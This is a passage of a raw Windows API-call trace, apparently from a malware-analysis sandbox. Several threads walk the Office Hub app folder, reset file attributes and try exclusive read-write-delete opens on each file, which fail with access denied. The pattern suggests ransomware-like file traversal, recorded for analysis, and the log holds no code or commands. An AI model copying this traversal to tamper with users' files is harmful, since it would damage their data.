	[0091.663] wcscat (in: _Dest=0x50274b0, _Source="getofficecarousel.dcp" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033\\getofficecarousel.dcp") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033\\getofficecarousel.dcp"
	[0091.663] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033\\getofficecarousel.dcp" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\office16\\1033\\getofficecarousel.dcp")) returned 0x20
	[0091.665] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033\\getofficecarousel.dcp", dwFileAttributes=0x20) returned 0
	[0091.665] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033\\getofficecarousel.dcp" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\office16\\1033\\getofficecarousel.dcp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.665] GetLastError () returned 0x5
	[0091.665] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16\\1033\\getofficecarousel.dcp", dwFileAttributes=0x20) returned 0
	[0091.665] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50274b0) returned 1
	[0091.665] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ae280, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x636ae280, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x636ae280, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x90c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="officehubintl.dll", cAlternateFileName="")) returned 1
	[0091.665] wcscmp (_String1="officehubintl.dll", _String2=".") returned 1
	[0091.665] wcscmp (_String1="officehubintl.dll", _String2="..") returned 1
	[0091.665] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ae280, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x636ae280, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x636ae280, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x90c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="officehubintl.dll", cAlternateFileName="")) returned 0
	[0091.665] FindClose (in: hFindFile=0x477b4e8 | out: hFindFile=0x477b4e8) returned 1
	[0091.665] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50318b0) returned 1
	[0091.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fa70) returned 1
	[0091.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772f30) returned 1
	[0091.666] FindNextFileW (in: hFindFile=0x46a77d0, lpFindFileData=0x2e16240 | out: lpFindFileData=0x2e16240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636d44de, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x636fa737, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x636fa737, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x68cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeHubBackgroundTask.dll", cAlternateFileName="")) returned 1
	[0091.666] wcscmp (_String1="OfficeHubBackgroundTask.dll", _String2=".") returned 1
	[0091.666] wcscmp (_String1="OfficeHubBackgroundTask.dll", _String2="..") returned 1
	[0091.666] FindNextFileW (in: hFindFile=0x46a77d0, lpFindFileData=0x2e16240 | out: lpFindFileData=0x2e16240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636fa737, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x636fa737, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x636fa737, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeHubTaskHost.exe", cAlternateFileName="")) returned 1
	[0091.666] wcscmp (_String1="OfficeHubTaskHost.exe", _String2=".") returned 1
	[0091.666] wcscmp (_String1="OfficeHubTaskHost.exe", _String2="..") returned 1
	[0091.666] FindNextFileW (in: hFindFile=0x46a77d0, lpFindFileData=0x2e16240 | out: lpFindFileData=0x2e16240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63720995, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x638057b6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x638057b6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1e18c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeHubWin32.exe", cAlternateFileName="")) returned 1
	[0091.666] wcscmp (_String1="OfficeHubWin32.exe", _String2=".") returned 1
	[0091.666] wcscmp (_String1="OfficeHubWin32.exe", _String2="..") returned 1
	[0091.666] FindNextFileW (in: hFindFile=0x46a77d0, lpFindFileData=0x2e16240 | out: lpFindFileData=0x2e16240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63720995, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x638057b6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x638057b6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1e18c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeHubWin32.exe", cAlternateFileName="")) returned 0
	[0091.666] FindClose (in: hFindFile=0x46a77d0 | out: hFindFile=0x46a77d0) returned 1
	[0091.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e16240) returned 1
	[0091.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11900) returned 1
	[0091.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e125a8) returned 1

Thread:
	id = 504
	os_tid = 0x1708

	[0077.412] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Officehub_Base_PriConfig.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\officehub_base_priconfig.xml")) returned 0x20
	[0082.000] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Officehub_Base_PriConfig.xml", dwFileAttributes=0x20) returned 0
	[0085.243] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Officehub_Base_PriConfig.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\officehub_base_priconfig.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.243] GetLastError () returned 0x5
	[0085.243] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Officehub_Base_PriConfig.xml", dwFileAttributes=0x20) returned 0
	[0085.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ee98) returned 1

Thread:
	id = 505
	os_tid = 0x170c

	[0077.413] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\officeimm.odf" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\officeimm.odf")) returned 0x20
	[0081.998] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\officeimm.odf", dwFileAttributes=0x20) returned 0
	[0085.246] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\officeimm.odf" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\officeimm.odf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.246] GetLastError () returned 0x5
	[0085.246] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\officeimm.odf", dwFileAttributes=0x20) returned 0
	[0085.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e29fc8) returned 1

Thread:
	id = 506
	os_tid = 0x1710

	[0077.414] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Offihub_Base_PriInfo.pri.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\offihub_base_priinfo.pri.xml")) returned 0x20
	[0081.995] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Offihub_Base_PriInfo.pri.xml", dwFileAttributes=0x20) returned 0
	[0085.250] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Offihub_Base_PriInfo.pri.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\offihub_base_priinfo.pri.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.250] GetLastError () returned 0x5
	[0085.250] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Offihub_Base_PriInfo.pri.xml", dwFileAttributes=0x20) returned 0
	[0085.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2a0a8) returned 1

Thread:
	id = 507
	os_tid = 0x1714

	[0077.414] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Registry.dat" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\registry.dat")) returned 0x20
	[0081.999] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Registry.dat", dwFileAttributes=0x20) returned 0
	[0085.244] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Registry.dat" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\registry.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.245] GetLastError () returned 0x5
	[0085.245] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Registry.dat", dwFileAttributes=0x20) returned 0
	[0085.245] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2a1a8) returned 1

Thread:
	id = 508
	os_tid = 0x1718

	[0077.416] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0081.995] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0085.252] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.252] GetLastError () returned 0x5
	[0085.252] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0085.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2a288) returned 1

Thread:
	id = 509
	os_tid = 0x171c

	[0077.417] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\StreamMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\streammap.xml")) returned 0x20
	[0081.993] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\StreamMap.xml", dwFileAttributes=0x20) returned 0
	[0081.993] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\StreamMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\streammap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.993] GetLastError () returned 0x5
	[0081.993] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\StreamMap.xml", dwFileAttributes=0x20) returned 0
	[0081.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2a368) returned 1

Thread:
	id = 510
	os_tid = 0x1720

	[0077.418] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e11318
	[0077.418] wcscpy (in: _Dest=0x2e11318, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings"
	[0077.418] wcscat (in: _Dest=0x2e11318, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\"
	[0077.419] wcscat (in: _Dest=0x2e11318, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\*"
	[0077.419] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e13220
	[0077.419] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\*", lpFindFileData=0x2e13220 | out: lpFindFileData=0x2e13220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6395ccec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc44b63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6395ccec, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7550
	[0081.994] wcscmp (_String1=".", _String2=".") returned 0
	[0081.994] FindNextFileW (in: hFindFile=0x46a7550, lpFindFileData=0x2e13220 | out: lpFindFileData=0x2e13220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6395ccec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc44b63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6395ccec, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.994] wcscmp (_String1="..", _String2=".") returned 1
	[0081.994] wcscmp (_String1="..", _String2="..") returned 0
	[0081.994] FindNextFileW (in: hFindFile=0x46a7550, lpFindFileData=0x2e13220 | out: lpFindFileData=0x2e13220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395ccec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6395ccec, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6395ccec, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1933, dwReserved0=0x0, dwReserved1=0x0, cFileName="officehubintl.lang-en-us.resw", cAlternateFileName="")) returned 1
	[0081.994] wcscmp (_String1="officehubintl.lang-en-us.resw", _String2=".") returned 1
	[0081.994] wcscmp (_String1="officehubintl.lang-en-us.resw", _String2="..") returned 1
	[0081.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x4717288
	[0081.994] wcscpy (in: _Dest=0x4717288, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings"
	[0081.994] wcscat (in: _Dest=0x4717288, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\"
	[0081.994] wcscat (in: _Dest=0x4717288, _Source="officehubintl.lang-en-us.resw" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\officehubintl.lang-en-us.resw") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\officehubintl.lang-en-us.resw"
	[0091.671] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\officehubintl.lang-en-us.resw" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\officehubintl.lang-en-us.resw")) returned 0x20
	[0091.675] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\officehubintl.lang-en-us.resw", dwFileAttributes=0x20) returned 0
	[0091.675] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\officehubintl.lang-en-us.resw" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\officehubintl.lang-en-us.resw"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.676] GetLastError () returned 0x5
	[0091.676] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings\\officehubintl.lang-en-us.resw", dwFileAttributes=0x20) returned 0
	[0091.676] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717288) returned 1
	[0091.676] FindNextFileW (in: hFindFile=0x46a7550, lpFindFileData=0x2e13220 | out: lpFindFileData=0x2e13220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395ccec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6395ccec, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6395ccec, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1933, dwReserved0=0x0, dwReserved1=0x0, cFileName="officehubintl.lang-en-us.resw", cAlternateFileName="")) returned 0
	[0091.676] FindClose (in: hFindFile=0x46a7550 | out: hFindFile=0x46a7550) returned 1
	[0091.676] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e13220) returned 1
	[0091.676] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11318) returned 1
	[0091.676] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e068) returned 1

Thread:
	id = 511
	os_tid = 0x1724

	[0077.419] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47c9e00
	[0077.419] wcscpy (in: _Dest=0x47c9e00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS"
	[0077.419] wcscat (in: _Dest=0x47c9e00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS\\"
	[0077.419] wcscat (in: _Dest=0x47c9e00, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS\\*"
	[0077.419] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db80f8
	[0077.419] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS\\*", lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6395ccec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc45469, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x662a39a5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacbb8
	[0082.887] wcscmp (_String1=".", _String2=".") returned 0
	[0082.887] FindNextFileW (in: hFindFile=0x2dacbb8, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6395ccec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc45469, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x662a39a5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.887] wcscmp (_String1="..", _String2=".") returned 1
	[0082.887] wcscmp (_String1="..", _String2="..") returned 0
	[0082.887] FindNextFileW (in: hFindFile=0x2dacbb8, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x6395ccec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadd7feb3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6395ccec, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x0, cFileName="ProgramFilesCommonX64", cAlternateFileName="PROGRA~1")) returned 1
	[0082.887] wcscmp (_String1="ProgramFilesCommonX64", _String2=".") returned 1
	[0082.887] wcscmp (_String1="ProgramFilesCommonX64", _String2="..") returned 1
	[0082.887] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d8a108
	[0082.887] wcscpy (in: _Dest=0x2d8a108, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS"
	[0082.887] wcscat (in: _Dest=0x2d8a108, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS\\"
